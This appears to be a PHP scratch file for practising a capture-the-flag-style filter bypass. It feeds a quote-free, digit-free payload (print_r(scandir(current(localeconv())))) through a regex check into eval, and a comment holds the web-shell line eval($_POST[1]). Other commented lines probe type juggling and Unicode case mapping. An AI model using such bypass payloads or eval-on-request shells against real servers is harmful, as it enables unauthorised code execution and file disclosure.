<?php
//echo '1'==1;
//$a='1';
//$b=[1];
//print_r($a==$b);
//echo '1'.[1];
//$a='aAmb_strtolower(İⅠ';
//echo mb_strtolower($a);
//echo urlencode('İ');
$cmd="print_r(scandir(current(localeconv())));__halt_compiler();";//eval($_POST[1]);
if ('ch3nx1' === preg_replace('/;+/', 'ch3nx1', preg_replace('/[A-Za-z_\(\)]+/', '', $cmd))) {
//    echo a;
    eval($cmd . 'isbigvegetablechicken!');
    echo "aaa";
} else {
    echo 'nonono';
}